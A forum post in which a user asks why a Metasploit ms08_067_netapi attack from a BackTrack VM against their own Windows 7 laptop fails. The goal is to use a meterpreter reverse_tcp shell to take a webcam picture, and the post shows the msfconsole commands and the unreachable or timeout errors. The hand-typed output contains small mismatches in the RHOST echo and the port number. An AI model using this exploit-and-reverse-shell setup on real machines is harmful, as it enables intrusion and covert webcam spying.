BT5 R3 GNOME Metasploit Attack Error Please Help!

This week I have being trying to do a metasploit attack onto my Laptop and then use the webcam on it to take a picture. But I keep getting an error. Before I start to talk about the error let me show you the important details that you could need to help me out:

Laptop:
Windows 7 Ultimate Service Pack 1 32-bit
IP : 192.168.1.4 or 192.168.1.3 (It would change from one another randomly when rebooted)
Is connected to my network.

My Computer:
Windows 8 Pro 64-bit
IP : 192.168.56.1
Is connected to my network.
Has VirtualBox running on my PC to run BT5 R3.
BT5 R3 IP : 192.168.1.8
Connection Type: Bridged

Alright, now to what I did:
Click the start button thing and then clicked "Backtrack" then "Exploitation Tools" then "Network Exploitation Tools" then "MetaSploit Framework" then "msfconsole"
Also typing in "msfconsole" in the console works too :)
Below are what showed up in the console (Had to type it in manually :P):

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.4 (NOTE THIS WAS NOT TYPED IN THE COMMAND! 192.168.1.4 is My Laptop IP!)
RHOST => 192.168.1.8
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.8 (THIS TOO IS NOT A COMMAND :P 192.168.1.8 is my BT5 R3 IP!)
LHOST => 192.168.1.8
msf exploit(ms08_067_netapi) > exploit[*]Started reverse handler on 192.168.1.8:4444
[-]Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.4:455) was unreachable.

And sometimes the "[-]Exploit failed [unreachable]: Rex::HostUnreachable The host (192.168.1.4:455) was unreachable." would be "[-]Exploit failed [unreachable]: Rex::ConnectionTimedOut The connection to (192.168.1.4:445) was timed out."

Please Help Me Out If You Can :D
Thanks In Advance!